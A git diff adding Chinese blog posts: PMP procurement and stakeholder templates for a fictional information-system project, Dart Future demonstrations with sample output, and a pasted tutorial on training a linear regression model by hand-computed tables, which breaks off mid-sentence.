**投标截止日期**：2024年11月15日 + +------ + +#### **1. 招标项目概述** + +本招标文件旨在邀请合格供应商参与XYZ信息系统开发项目的投标，以满足项目需求的软硬件产品和相关服务。 + +------ + +#### **2. 招标范围** + +本次招标包括以下内容： + +- 软件开发：需求分析、系统设计、编码、测试与部署 +- 硬件采购：服务器、网络设备及其他相关设备 +- 技术支持与维护：上线后的技术支持及维护服务 + +------ + +#### **3. 投标人资格要求** + +投标人须具备以下资格条件： + +1. 注册的法人单位，具有独立承担民事责任的能力。 +2. 在过去三年内，具有类似项目的成功实施经验。 +3. 具备良好的财务状况，提供最近三年的财务报告。 +4. 具有相关的行业认证，如ISO9001等。 +5. 投标人须提供有效的营业执照、税务登记证等合法证件复印件。 + +------ + +#### **4. 招标文件获取** + +投标人可通过以下方式获取招标文件： + +- **方式**：电子邮件或官方网站下载 +- **获取时间**：2024年10月16日 - 2024年10月30日 + +------ + +#### **5. 投标文件要求** + +投标人需提交以下文件： + +1. **投标函**：包括投标人信息、联系方式及对招标的承诺。 +2. **资格证明**：营业执照、税务登记证、行业认证文件等复印件。 +3. **技术方案**：详细的技术实施方案，包括系统设计、开发计划等。 +4. **商业报价**：明确的价格清单，包括各项服务和产品的报价。 +5. **项目实施计划**：明确的项目进度安排，包括各阶段的时间节点。 + +------ + +#### **6. 投标评审标准** + +投标评审将依据以下标准进行： + +- **技术能力**（40%）：技术方案的合理性、可行性和创新性。 +- **报价合理性**（30%）：商业报价的合理性和性价比。 +- **项目经验**（20%）：投标人在相关项目中的经验及业绩。 +- **服务保障**（10%）：提供的技术支持和维护服务的质量。 + +------ + +#### **7. 投标截止及开标信息** + +- **投标截止时间**：2024年11月15日 17:00 +- **开标时间**：2024年11月16日 10:00 +- **开标地点**：ABC 公司会议室 + +------ + +#### **8. 联系方式** + +如有疑问，请联系： + +- **联系人**：李四 +- **联系电话**：123-4567-8901 +- **电子邮箱**：li.si@abc.com + +------ + +#### **9. 其他事项** + +- 本招标文件及投标人提交的所有文件，均为保密信息，未经允许不得泄露。 +- 招标单位保留对本招标项目的修改、暂停及终止的权利。 diff --git a/_posts/2024-10-08-731-mbd.md b/_posts/2024-10-08-731-mbd.md new file mode 100644 index 0000000..cc6ff7c --- /dev/null +++ b/_posts/2024-10-08-731-mbd.md @@ -0,0 +1,70 @@ +--- +layout: post +title: 自制或外购决策 +pid: 731 +tags: [pmp, 高项] +--- + +自制或外购决策：Make-or-Buy Decision + +### **自制或外购决策** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **决策时间**：2024年10月20日 + +------ + +#### **1. 决策背景** + +在XYZ信息系统开发项目中，团队需决定以下关键组件的开发方式：**软件模块**和**硬件设备**。自制（内部开发）与外购（外部采购）各有优缺点，需结合项目需求、资源和市场状况做出合理选择。 + +------ + +#### **2. 决策因素** + +- **成本** + - 自制成本：人力资源成本、设备维护成本、开发时间成本。 + - 外购成本：采购价格、运输费用、售后服务成本。 +- **时间** + - 自制：开发周期较长，需要时间进行需求分析和功能测试。 + - 外购：可以快速交付，缩短整体项目时间。 +- **技术能力** + - 自制：团队具备技术能力，但可能面临技术更新带来的挑战。 + - 外购：供应商专业能力强，能够提供先进的解决方案。 +- **质量控制** + - 自制：团队对质量有直接控制，但可能由于经验不足导致质量问题。 + - 外购：可依赖供应商的质量管理体系，但需做好供应商评估。 +- **风险管理** + - 自制：开发过程中的风险由团队承担。 + - 外购：转移部分风险给供应商，但需考虑供应商的可靠性。 + +------ + +#### **3. 选项分析** + +| 选项 | 优势 | 劣势 | +| ---- | ------------------------------- | ------------------------------------------- | +| 自制 | 1. 可根据项目需求灵活调整 | 1. 开发周期长，资源投入大 | +| | 2. 直接掌握技术知识和项目经验 | 2. 可能缺乏专业技术，导致质量风险 | +| | 3. 成本可控 | 3. 人员流动可能导致知识损失 | +| 外购 | 1. 快速获得市场成熟的解决方案 | 1. 需支付采购费用，可能超出预算 | +| | 2. 可利用供应商的专业技术和经验 | 2. 对外部供应商的依赖，增加管理复杂度 | +| | 3. 降低内部开发的风险 | 3. 质量控制难度增加，需进行额外的监控和评估 | + +------ + +#### **4. 决策结果** + +根据以上分析，团队决定对以下组件进行采购决策： + +- **软件模块**：选择外购。理由为市场上已有成熟的解决方案，能够快速满足项目需求并降低开发风险。 +- **硬件设备**：选择自制。考虑到设备的特殊性和团队的技术能力，团队决定自制相关硬件，以便进行更好的定制和控制。 + +------ + +#### **5. 结论与建议** + +- 采购决策应根据项目的具体需求进行全面评估，考虑到成本、时间、技术能力、质量控制和风险等因素。 +- 在实施外购方案时，建议进行详细的供应商评估，并制定相应的合同和服务协议，以确保交付质量和及时响应。 +- 对于自制项目，建议在技术上保持团队的持续培训，确保团队能够跟上技术发展的步伐。 diff --git a/_posts/2024-10-08-732-ice.md b/_posts/2024-10-08-732-ice.md new file mode 100644 index 0000000..f20de24 --- /dev/null +++ b/_posts/2024-10-08-732-ice.md @@ -0,0 +1,67 @@ +--- +layout: post +title: 独立成本估算 +pid: 732 +tags: [pmp, 高项] +--- + +独立成本估算：Independent Cost Estimate + +### **独立成本估算** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **估算时间**：2024年10月20日 + +------ + +#### **1. 估算目的** + +本独立成本估算旨在为XYZ信息系统开发项目提供对各项采购和自制需求的财务预期，为决策提供依据，确保项目预算的合理性和可执行性。 + +------ + +#### **2. 估算范围** + +本估算涵盖以下两个主要组成部分： + +- **软件模块采购成本** +- **硬件设备自制成本** + +------ + +#### **3. 估算方法** + +本次成本估算采用**类比估算**和**参数估算**相结合的方法。通过分析类似项目的历史数据及当前市场价格进行合理的成本推测。 + +------ + +#### **4. 成本估算** + +| 成本项目 | 描述 | 估算方法 | 估算金额（人民币） | +| ------------------ | ----------------------------- | -------- | ------------------ | +| **软件模块采购** | 购买成熟软件解决方案 | 类比估算 | 150,000 | +| **软件维护费用** | 每年维护及更新费用（预计3年） | 类比估算 | 45,000 | +| **硬件设备自制** | 设计、开发、生产硬件设备 | 参数估算 | 200,000 | +| **原材料费用** | 硬件设备生产所需原材料成本 | 参数估算 | 50,000 | +| **人工成本** | 开发人员和技术支持人员工资 | 参数估算 | 120,000 | +| **测试费用** | 硬件设备和软件模块的测试费用 | 类比估算 | 30,000 | +| **物流及运输费用** | 硬件设备运输及安装费用 | 类比估算 | 10,000 | +| **其他费用** | 包括办公费用、保险等 | 参数估算 | 15,000 | +| **总成本估算** | | | **620,000** | + +------ + +#### **5. 估算依据** + +- **市场调研**：通过对市场进行调研，获取软件模块和硬件设备的平均采购价格及其变化趋势。 +- **历史数据**：参考过往类似项目的成本数据，对比项目的规模和复杂度，进行合理调整。 +- **专家咨询**：咨询项目团队成员及行业专家，获取专业意见以提高估算准确性。 + +------ + +#### **6. 结论与建议** + +- 本次独立成本估算为项目预算提供了清晰的财务框架，帮助项目团队在采购和自制决策中更具信心。 +- 在项目实施过程中，需定期审核和调整成本估算，确保预算与实际支出之间的匹配，避免超预算情况。 +- 进行详细的供应商评估和合同管理，以确保采购的产品和服务满足项目要求，降低潜在风险。 diff --git a/_posts/2024-10-08-733-ssc.md b/_posts/2024-10-08-733-ssc.md new file mode 100644 index 0000000..dd6d377 --- /dev/null +++ b/_posts/2024-10-08-733-ssc.md @@ -0,0 +1,55 @@ +--- +layout: post +title: 供方选择标准 +pid: 733 +tags: [pmp, 高项] +--- + +供方选择标准：Supplier Selection Criteria + +### **供方选择标准** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **制定时间**：2024年10月20日 + +------ + +#### **1. 选择目的** + +为确保项目采购的成功，合理选择合适的供方是至关重要的。本标准旨在为XYZ信息系统开发项目的供方选择提供明确的评估指标和指导原则。 + +------ + +#### **2. 选择标准概述** + +以下标准将用于评估潜在供方的能力和适合度，以便做出明智的采购决策。 + +------ + +#### **3. 选择标准** + +| 选择标准 | 描述 | 权重 (%) | +| -------------- | ------------------------------------------------------------ | -------- | +| **技术能力** | 供方在相关技术领域的专业知识和技术实力，包括产品创新能力。 | 30 | +| **经验与业绩** | 供方在类似项目中的成功案例和市场声誉，包括客户反馈和项目成果。 | 25 | +| **质量保证** | 供方是否拥有相关的质量管理体系认证（如ISO 9001），及其产品和服务的质量控制措施。 | 15 | +| **成本竞争力** | 供方提供的价格是否合理，具备价格优势，且在预算范围内。 | 15 | +| **交货能力** | 供方的交货时间及交货的可靠性，是否能够按时满足项目需求。 | 10 | +| **售后服务** | 供方提供的售后支持和服务保障，包括维护、升级和技术支持的响应时间。 | 5 | + +------ + +#### **4. 评估流程** + +1. **初步筛选**：根据潜在供方提交的资格文件和产品样本进行初步筛选，符合基本要求的供方进入下一轮评估。 +2. **详细评估**：对初步筛选合格的供方进行现场考察和技术评审，收集其相关证明材料。 +3. **评分系统**：采用评分系统对每个标准进行量化评分，确保评估过程的公正性与透明度。 +4. **综合评估**：根据评分结果进行综合评估，选择得分最高的供方。 + +------ + +#### **5. 结论与建议** + +- 在选择供方时，需综合考虑以上各项标准，确保最终选择的供方不仅在价格上具备竞争力，同时在技术能力、交货能力和售后服务等方面也能满足项目的需求。 +- 定期回顾和更新供方选择标准，确保其与市场变化和项目需求保持一致。 diff --git a/_posts/2024-10-08-734-sv.md b/_posts/2024-10-08-734-sv.md new file mode 100644 index 0000000..46656d0 --- /dev/null +++ b/_posts/2024-10-08-734-sv.md @@ -0,0 +1,59 @@ +--- +layout: post +title: 选定的卖方 +pid: 734 +tags: [pmp, 高项] +--- + +选定的卖方：Selected Vendor 或 Awarded Vendor + +### **选定的卖方** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **选定日期**：2024年10月25日 + +------ + +#### **1. 卖方基本信息** + +- **公司名称**：ABC科技有限公司 +- **联系人**：张伟 +- **联系电话**：138-XXXX-XXXX +- **电子邮箱**：zhangwei@abc-tech.com +- **地址**：北京市朝阳区科技园路1号 + +------ + +#### **2. 选择理由** + +1. **技术能力**：ABC科技有限公司在信息系统开发领域拥有先进的技术能力和丰富的项目经验，符合项目的技术要求。 +2. **经验与业绩**：该公司在过去三年内成功交付了多项类似项目，客户反馈良好，信誉度高。 +3. **质量保证**：公司已获得ISO 9001认证，具备严格的质量管理体系，能够保证产品和服务的质量。 +4. **成本竞争力**：所报价格在预算范围内，且相较于其他竞争对手具备一定的价格优势。 +5. **交货能力**：ABC科技承诺按时交付，具备强大的项目管理能力和交付团队。 +6. **售后服务**：提供一年的免费技术支持，并承诺在24小时内响应客户的服务请求。 + +------ + +#### **3. 采购合同条款概述** + +- **合同金额**：¥500,000 +- **付款方式**：分期付款，合同签订后支付30%，项目中期支付40%，验收合格后支付30%。 +- **交货期限**：项目开始后3个月内完成开发并交付。 +- **服务承诺**：售后支持持续12个月，包括定期检查和维护。 +- **违约条款**：如未按时交付，将按合同约定赔偿延误损失。 + +------ + +#### **4. 风险管理措施** + +- **技术风险**：定期与卖方沟通项目进展，确保技术需求与开发进度保持一致。 +- **质量风险**：在项目实施过程中进行阶段性质量检查，确保符合质量标准。 +- **交付风险**：设置里程碑，以监控交付进度，确保按时完成。 + +------ + +#### **5. 备注** + +在选定卖方后，建议定期与ABC科技有限公司保持沟通，确保项目按照预期进展，并及时解决可能出现的问题。 diff --git a/_posts/2024-10-08-735-a.md b/_posts/2024-10-08-735-a.md new file mode 100644 index 0000000..14c50cd --- /dev/null +++ b/_posts/2024-10-08-735-a.md @@ -0,0 +1,105 @@ +--- +layout: post +title: 协议 +pid: 735 +tags: [pmp, 高项] +--- + +协议：Agreement + +### **采购协议** + +#### **协议编号**：XY-2024-001 + +#### **签署日期**：2024年10月25日 + +#### **项目名称**：XYZ 信息系统开发项目 + +------ + +#### **1. 协议各方** + +- **甲方**（采购方）： + 公司名称：XYZ科技有限公司 + 地址：北京市海淀区科技园路2号 + 法定代表人：李明 + 联系电话：139-XXXX-XXXX +- **乙方**（供应方）： + 公司名称：ABC科技有限公司 + 地址：北京市朝阳区科技园路1号 + 法定代表人：张伟 + 联系电话：138-XXXX-XXXX + +------ + +#### **2. 项目背景** + +为满足XYZ科技有限公司在信息系统开发方面的需求，甲方决定委托乙方进行相关系统的设计、开发和实施工作。 + +------ + +#### **3. 协议目的** + +本协议的目的是明确甲方与乙方之间的权利和义务，确保项目的顺利进行。 + +------ + +#### **4. 主要内容** + +1. **项目范围**： + 乙方应根据甲方的需求，完成信息系统的设计、开发、测试和部署，包括但不限于以下内容： + - 系统需求分析 + - 系统架构设计 + - 编码实现 + - 测试和质量保证 + - 上线和维护 +2. **交付物**： + 乙方应按时交付以下可交付成果： + - 系统设计文档 + - 代码及相关文档 + - 测试报告 + - 用户培训材料 +3. **项目时间安排**： + 项目应在合同签署后3个月内完成，具体时间安排如下： + - 项目启动：2024年10月26日 + - 中期评审：2024年12月26日 + - 项目验收：2025年1月5日 +4. **费用及付款方式**： + - 总合同金额为¥500,000。 + - 付款方式： + - 合同签署后支付30%（¥150,000）； + - 项目中期支付40%（¥200,000）； + - 项目验收合格后支付30%（¥150,000）。 +5. **质量保证与售后服务**： + 乙方应确保交付物符合质量标准，并在验收合格后提供为期12个月的技术支持服务。 + +------ + +#### **5. 保密条款** + +甲方与乙方均应对在履行本协议过程中所获知的对方商业秘密和其他机密信息予以保密，未经对方书面同意，不得向第三方披露。 + +------ + +#### **6. 违约责任** + +如任一方违反本协议的任何条款，守约方有权要求违约方承担违约责任，包括但不限于赔偿因此而造成的损失。 + +------ + +#### **7. 争议解决** + +因本协议引起的或与本协议有关的争议，应首先通过友好协商解决；协商不成的，任一方可向甲方所在地人民法院提起诉讼。 + +------ + +#### **8. 其他条款** + +本协议自双方签字盖章之日起生效，有效期至项目验收完成并支付完毕后自动终止。 + +------ + +#### **9. 签署** + +甲方（签字）：_____________ 日期：________________ +乙方（签字）：_____________ 日期：________________ diff --git a/_posts/2024-10-08-736-pc.md b/_posts/2024-10-08-736-pc.md new file mode 100644 index 0000000..3aed3b9 --- /dev/null +++ b/_posts/2024-10-08-736-pc.md @@ -0,0 +1,93 @@ +--- +layout: post +title: 采购关闭 +pid: 736 +tags: [pmp, 高项] +--- + +采购关闭：Procurement Closure + +### **采购关闭文档** + +#### **文档编号**：XY-2024-001-C + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **关闭日期**：2025年1月10日 + +------ + +#### **1. 采购项目概述** + +本采购项目由XYZ科技有限公司发起，旨在委托ABC科技有限公司完成信息系统的设计、开发、测试及实施工作。项目于2024年10月25日正式启动。 + +------ + +#### **2. 采购内容回顾** + +- **合同编号**：XY-2024-001 +- **合同金额**：¥500,000 +- 合同内容： + - 系统需求分析 + - 系统设计和开发 + - 测试和质量保证 + - 上线和维护 + +------ + +#### **3. 完成情况** + +- **项目交付物**： + - 系统设计文档（已交付并审核通过） + - 代码及相关文档（已交付并审核通过） + - 测试报告（已完成并通过验收） + - 用户培训材料（已提供并完成培训） +- **项目验收**： + - 最终验收日期：2025年1月5日 + - 验收结果：合格 + +------ + +#### **4. 付款情况** + +- 合同金额支付： + - 预付款（30%）：¥150,000（已支付） + - 中期付款（40%）：¥200,000（已支付） + - 结算付款（30%）：¥150,000（已支付，见附件结算单） + +------ + +#### **5. 绩效评估** + +- **项目目标达成情况**： + - 所有可交付成果按时交付 + - 满足项目质量标准 + - 无重大风险和问题发生 +- **供应商绩效评估**： + - ABC科技有限公司的服务质量和响应速度均在满意范围内。 + +------ + +#### **6. 经验教训** + +- 在项目初期的需求分析阶段，增强沟通以确保所有利益相关者的需求被充分理解和记录。 +- 项目过程中应定期进行回顾会议，以便及时发现和解决问题。 + +------ + +#### **7. 文件存档** + +- 所有相关文件（合同、验收报告、付款凭证、测试报告等）均已归档，存档地点为公司内部文件管理系统。 + +------ + +#### **8. 采购关闭确认** + +根据项目完成情况、付款情况和绩效评估，确认本次采购项目已成功完成。所有合同条款均已履行，项目正式关闭。 + +------ + +#### **9. 关闭签署** + +项目负责人（签字）：_____________ 日期：________________ +采购经理（签字）：_____________ 日期：________________ diff --git a/_posts/2024-10-08-737-sr.md b/_posts/2024-10-08-737-sr.md new file mode 100644 index 0000000..a2671cd --- /dev/null +++ b/_posts/2024-10-08-737-sr.md @@ -0,0 +1,62 @@ +--- +layout: post +title: 干系人登记册 +pid: 737 +tags: [pmp, 高项] +--- + +干系人登记册：Stakeholder Register + +### **干系人登记册** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：李明 + +#### **创建日期**：2024年10月15日 + +------ + +| **干系人姓名** | **角色/职务** | **影响程度** | **关注程度** | **联系方式** | **干系人管理策略** | +| -------------- | -------------- | ------------ | ------------ | -------------------- | ---------------------------------------------- | +| 张伟 | 项目发起人 | 高 | 高 | zhangwei@example.com | 定期沟通，参与重要决策，确保需求被满足。 | +| 王芳 | 项目经理 | 高 | 高 | wangfang@example.com | 每周更新项目进展，及时解决问题。 | +| 李四 | 开发团队负责人 | 中 | 中 | lisi@example.com | 定期会议，收集反馈，确保团队配合顺畅。 | +| 周杰 | 测试团队负责人 | 中 | 中 | zhoujie@example.com | 提供测试需求，参与回顾会议。 | +| 赵敏 | 用户代表 | 中 | 高 | zhaomin@example.com | 定期沟通，收集用户反馈，确保用户需求得到满足。 | +| 陈涛 | 财务部门负责人 | 低 | 中 | chentao@example.com | 在重大开支前进行沟通，确保预算控制。 | +| 孙莉 | 客户代表 | 高 | 高 | sunli@example.com | 定期汇报项目进展，确保客户满意度。 | + +------ + +### **干系人分析说明** + +1. **张伟（项目发起人）**： + - **影响程度**：高。作为项目的主要发起人，张伟对项目的整体方向和预算有最终决定权。 + - **关注程度**：高。需要确保项目按时、按质交付。 +2. **王芳（项目经理）**： + - **影响程度**：高。负责项目的执行和日常管理，直接影响项目的进展和结果。 + - **关注程度**：高。需关注项目的每个细节，确保目标达成。 +3. **李四（开发团队负责人）**： + - **影响程度**：中。负责开发团队的管理，影响开发质量和进度。 + - **关注程度**：中。需保持团队士气并解决技术问题。 +4. **周杰（测试团队负责人）**： + - **影响程度**：中。确保产品质量和功能的测试符合标准。 + - **关注程度**：中。需及时反馈测试结果。 +5. **赵敏（用户代表）**： + - **影响程度**：中。作为最终用户，反馈是项目成功的重要依据。 + - **关注程度**：高。需关注用户需求是否得到满足。 +6. **陈涛（财务部门负责人）**： + - **影响程度**：低。对项目资金有监督作用。 + - **关注程度**：中。确保项目在预算内执行。 +7. **孙莉（客户代表）**： + - **影响程度**：高。对客户的满意度直接影响公司的声誉和未来的合作。 + - **关注程度**：高。需确保客户的需求得到充分满足。 + +------ + +### **管理策略概述** + +- **定期沟通**：设定定期会议和汇报，确保干系人之间的信息透明。 +- **反馈机制**：建立有效的反馈渠道，及时收集和处理干系人的意见和建议。 +- **参与决策**：让关键干系人参与重要决策，增强他们的归属感和支持度。 diff --git a/_posts/2024-10-08-738-sep.md b/_posts/2024-10-08-738-sep.md new file mode 100644 index 0000000..b5f6c84 --- /dev/null +++ b/_posts/2024-10-08-738-sep.md @@ -0,0 +1,59 @@ +--- +layout: post +title: 干系人参与计划 +pid: 738 +tags: [pmp, 高项] +--- + +干系人参与计划 - “Stakeholder Engagement Plan”或“Plan for Stakeholder Participation” + +### **干系人参与计划** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：李明 + +#### **创建日期**：2024年10月15日 + +------ + +### **1. 目标与目的** + +干系人参与计划的目标是确保所有相关干系人有效参与项目，获取必要的信息，及时处理反馈，以增强干系人的支持和满意度。通过明确的沟通和参与策略，使项目能够顺利进行并成功交付。 + +### **2. 干系人参与策略** + +| **干系人姓名** | **参与方式** | **频率** | **参与内容** | **责任人** | +| -------------- | ---------------- | ---------- | -------------------------------------------- | ---------- | +| 张伟 | 定期高层会议 | 每月一次 | 项目整体进展、预算状态、重大决策讨论。 | 李明 | +| 王芳 | 每周项目进展会议 | 每周一次 | 项目执行情况、风险和问题讨论、资源需求评估。 | 李明 | +| 李四 | 技术讨论会 | 每两周一次 | 开发进展、技术问题、团队协作状态。 | 王芳 | +| 周杰 | 测试反馈会议 | 每两周一次 | 测试计划、测试结果、缺陷报告。 | 李四 | +| 赵敏 | 用户反馈会议 | 每月一次 | 用户需求收集、使用体验反馈、功能改进建议。 | 王芳 | +| 陈涛 | 财务审核会议 | 关键节点时 | 预算审核、成本控制、资金需求确认。 | 李明 | +| 孙莉 | 客户状态更新会议 | 每月一次 | 项目进展汇报、客户需求确认、满意度调查。 | 李明 | + +### **3. 沟通渠道** + +- **电子邮件**：用于日常沟通和信息共享。 +- **项目管理工具**：如Jira、Trello等，用于任务管理和进度追踪。 +- **会议记录**：每次会议后生成会议纪要，分享给所有相关干系人。 +- **即时通讯工具**：如Slack、WeChat，快速沟通和问题解决。 + +### **4. 关键参与指标** + +- **参与率**：干系人参与会议的频率和质量。 +- **反馈响应时间**：干系人对反馈和问题的响应时间。 +- **满意度调查**：通过定期调查收集干系人的满意度，评估沟通和参与效果。 + +### **5. 风险管理** + +在干系人参与过程中，可能面临以下风险： + +- **信息沟通不畅**：确保沟通渠道畅通，避免信息孤岛。 +- **干系人抵制变更**：定期向干系人解释变更的必要性和好处，争取他们的支持。 +- **参与程度不均**：关注低参与干系人的需求，提供相应支持。 + +### **6. 评估与改进** + +定期评估干系人参与的效果，根据反馈进行调整和改进，确保干系人能够积极参与项目的各个阶段。 diff --git a/_posts/2025-12-03-739-future.md b/_posts/2025-12-03-739-future.md new file mode 100644 index 0000000..678e45c --- /dev/null +++ b/_posts/2025-12-03-739-future.md @@ -0,0 +1,146 @@ +--- +layout: post +title: Future +pid: 739 +tags: [flutter] +--- + +```dart +void futureStateDemo() async { + print('=== Future的状态和缓存 ==='); + + // 创建一个Future + var future = Future.delayed(Duration(seconds: 2), () { + print('Future计算完成'); + return 42; // 计算结果 + }); + + // 状态1: Uncompleted（未完成） - 0~2秒 + print('创建后立即检查:'); + print(' 是否完成? ${future is Future}'); // true，但还未计算 + print(' 当前时间: ${DateTime.now()}'); + + // 等3秒，让Future完成 + await Future.delayed(Duration(seconds: 3)); + + // 状态2: Completed with value（已完成，有值） - 2秒后 + print('\n3秒后检查:'); + var value = await future; // ⭐ 这里是从缓存取值！ + print(' 取值: $value'); + print(' 再次取值: ${await future}'); // 再次从缓存取 + + // 状态3: Completed with error（已完成，有错误） + var errorFuture = Future.error(Exception('测试错误')); + try { + await errorFuture; + } catch (e) { + print('\n错误Future: $e'); + } + // 错误也被缓存！ + try { + await errorFuture; // 同样的错误 + } catch (e) { + print('再次获取同样的错误: $e'); + } +} +``` + + +```dart +void main() async { + print('开始'); + + // 并行启动所有Future + var future1 = fetchData(1); // 立即启动，不等待 + var future2 = fetchData(2); // 立即启动，不等待 + var future3 = fetchData(3); // 立即启动，不等待 + + var time = DateTime.now(); + + // 等待所有Future完成 + var data1 = await future1; + var data2 = await future2; + var data3 = await future3; + + print('结果: $data1, $data2, $data3'); + print('总耗时: ${(DateTime.now()).difference(time).inSeconds}秒'); +} + +Future fetchData(int index) { + print('开始获取数据$index, 当前时间: ${DateTime.now()}'); + return Future.delayed(Duration(seconds: 10), () { + // 模拟网络请求 + return '从服务器获取的数据$index'; + // 抛出异常模拟错误 + // throw Exception('网络错误'); + }); +} +``` + + + +输出结果： + +```shell +开始 +开始获取数据1, 当前时间: 2025-12-03 20:30:52.643714 +开始获取数据2, 当前时间: 2025-12-03 20:30:52.655745 +开始获取数据3, 当前时间: 2025-12-03 20:30:52.656121 +结果: 从服务器获取的数据1, 从服务器获取的数据2, 从服务器获取的数据3 +总耗时: 10秒 + +Exited. +``` + + + +```dart +void main() async { + print('1. main开始'); + + // 这3个Future立即进入"微任务队列" + var future1 = fetchData(1); + var future2 = fetchData(2); + var future3 = fetchData(3); + + print('2. Future已创建，但未等待'); + + // 没有await，main函数继续执行 + print('3. main继续执行'); + + // main函数结束，但程序不会立即退出 + // 因为还有未完成的Future + print('4. main结束'); + + // 注意：即使main函数结束，Future仍在后台执行 + // 但程序会等待所有未完成的Future吗？看下面的测试 +} + +Future fetchData(int index) { + print('开始获取数据$index'); + return Future.delayed(Duration(seconds: 2), () { + print('数据$index完成'); // 这个还会执行吗？ + return '数据$index'; + }); +} +``` + + + +输出结果： + +```shell +1. main开始 +开始获取数据1 +开始获取数据2 +开始获取数据3 +2. Future已创建，但未等待 +3. main继续执行 +4. main结束 +数据1完成 +数据2完成 +数据3完成 + +Exited. +``` + diff --git a/_posts/2026-01-08-740-ai.md b/_posts/2026-01-08-740-ai.md new file mode 100644 index 0000000..07d1f76 --- /dev/null +++ b/_posts/2026-01-08-740-ai.md @@ -0,0 +1,253 @@ +--- +layout: post +title: 训练简单AI模型 +pid: 740 +tags: [ai] +--- + +好的，我帮你把我们从头到尾的讨论整理成一个**完整、连贯的总结**，方便你整理和分享给朋友。为了便于理解，我按**逻辑顺序 + 分步骤 + 表格示例**来汇总。 + +------ + +# 从零理解 AI 模型训练（完全用表格也能演示） + +## 一、模型训练的本质 + +> **模型训练 = 用数据，不断调整参数，让模型犯错越来越少** + +核心流程： + +1. **做一次预测** +2. **计算预测错误（Loss）** +3. **调整参数，让下次预测更准** + +任何 AI 模型（线性回归、神经网络、深度学习）本质都是这个过程。 + +------ + +## 二、把模型理解成可调公式 + +以最简单的线性回归为例： + +[ +\hat y = w \cdot x + b +] + +- `x` = 输入特征 +- `y` = 真实值 +- `w` = 权重（模型学会的规律强度） +- `b` = 偏置（基础水平） + +训练模型的目的： + +> 找到一组 w 和 b，使预测值 (\hat y) 与真实值 y 的误差最小。 + +------ + +## 三、损失函数（Loss） + +- Loss = 你这次预测“错得有多离谱” +- 常用类型： + - **均方误差（MSE）**：数值预测 + - **交叉熵（Cross Entropy）**：分类预测 + +------ + +## 四、梯度与参数更新 + +1. **梯度 = Loss 对参数的导数** + - 指明 Loss 上升最快的方向 +2. **梯度下降公式**： + +[ +\text{新参数} = \text{旧参数} - \text{学习率} \cdot \text{梯度} +] + +直观理解：在“山谷里找最低点” + +- 随机 = 起点不同 +- 梯度下降 = 每步往下坡方向走 + +------ + +## 五、随机性在训练中的作用 + +| 来源 | 作用 | +| -------------- | ------------------------------ | +| 参数初始化随机 | 打破对称，使神经元学到不同特征 | +| 数据顺序随机 | 防止模型只记顺序，提高泛化 | +| 优化算法噪声 | 稳定训练，跳出局部最优 | + +> 随机 ≠ 瞎试，它只是“起点不同”，实际每一步计算都是确定性的。 + +------ + +## 六、用表格理解训练过程（手算） + +### 示例数据 + +| x（学习小时） | y（真实成绩） | +| ------------- | ------------- | +| 1 | 55 | +| 2 | 58 | +| 3 | 65 | +| 4 | 70 | +| 5 | 78 | + +### 模型公式 + +[ +\hat y = w \cdot x + b +] + +------ + +### Step 1：初始化参数（随机） + +| 参数 | 数值 | +| ---- | ---- | +| w | 5.0 | +| b | 50 | + +------ + +### Step 2：预测值 + +| x | y | 预测 ŷ = w×x+b | +| ---- | ---- | -------------- | +| 1 | 55 | 55 | +| 2 | 58 | 60 | +| 3 | 65 | 65 | +| 4 | 70 | 70 | +| 5 | 78 | 75 | + +------ + +### Step 3：计算误差和 Loss（MSE） + +| x | y | ŷ | 误差 (ŷ−y) | 误差² | +| ---- | ---- | ---- | ---------- | ----- | +| 1 | 55 | 55 | 0 | 0 | +| 2 | 58 | 60 | 2 | 4 | +| 3 | 65 | 65 | 0 | 0 | +| 4 | 70 | 70 | 0 | 0 | +| 5 | 78 | 75 | -3 | 9 | + +[ +\text{MSE} = \frac{0+4+0+0+9}{5} = 2.6 +] + +------ + +### Step 4：判断梯度方向（手动） + +| w | Loss | +| ---- | ---- | +| 4.9 | 3.15 | +| 5.0 | 2.6 | +| 5.1 | 2.27 | + +- Loss 最小 → w 需要增大 +- Loss 增大 → w 需要减小 + +> 这就是“梯度下降”的原理：看 Loss 上升/下降方向来调参数。 + +------ + +### Step 5：迭代更新参数 + +- 手动更新 w 或 b +- 每次重新计算预测值和 Loss +- Loss 会越来越小 → 模型越来越接近真实规律 + +------ + +## 七、公式求解最优 w 和 b（最小二乘法） + +### 1️⃣ 公式 + +[ +w = \frac{\sum (x_i - \bar x)(y_i - \bar y)}{\sum (x_i - \bar x)^2} +] + +[ +b = \bar y - w \cdot \bar x +] + +### 2️⃣ 计算 + +- (\bar x = 3)，(\bar y = 65.2) +- 分子 = (\sum (x_i-\bar x)(y_i-\bar y) = 58) +- 分母 = (\sum (x_i-\bar x)^2 = 10) + +[ +w = 58 / 10 = 5.8 +] + +[ +b = 65.2 - 5.8 * 3 = 47.8 +] + +### 3️⃣ 最优模型 + +[ +\hat y = 5.8 x + 47.8 +] + +- Loss 最小 +- 与手动梯度下降目标一致 + +------ + +### 预测示例 + +| x | y | 预测 ŷ | +| ---- | ---- | ------ | +| 1 | 55 | 53.6 | +| 2 | 58 | 59.4 | +| 3 | 65 | 65.2 | +| 4 | 70 | 71.0 | +| 5 | 78 | 76.8 | + +> 整体误差更小，Loss 下降。 + +------ + +## 八、总结训练原理 + +1. **模型 = 可调公式** +2. **训练 = 找参数让 Loss 最小** +3. **梯度下降 = 按数学规则一步步逼近最优解** +4. **随机性只影响起点或训练稳定性**，不影响最终目标 +5. **手算表格 = 最直观理解梯度和 Loss 的方式** + +------ + +## 九、表格练习建议 + +- 用表格手动更新 w / b → 看到 Loss 下降 +- 画出 Loss–w 曲线 → 看到“最低点” +- 可以尝试手算二分类问题 → 了解交叉熵 Loss +- 可以扩展到**2 层神经网络** → 直观理解反向传播 + +------ + +## 十、结论 + +> 只用表格，也能**完全理解 AI 模型训练原理**： +> +> 1. 模型公式 +> 2. 预测与误差 +> 3. Loss 计算 +> 4. 梯度方向 +> 5. 参数更新 +> 6. 收敛到最优参数 + +这一套流程，完全对应任何 AI 框架（sklearn / PyTorch / TensorFlow）背后的逻辑。 + +------ + +如果你想，我可以帮你做一个**完整 Excel 表格模板**， 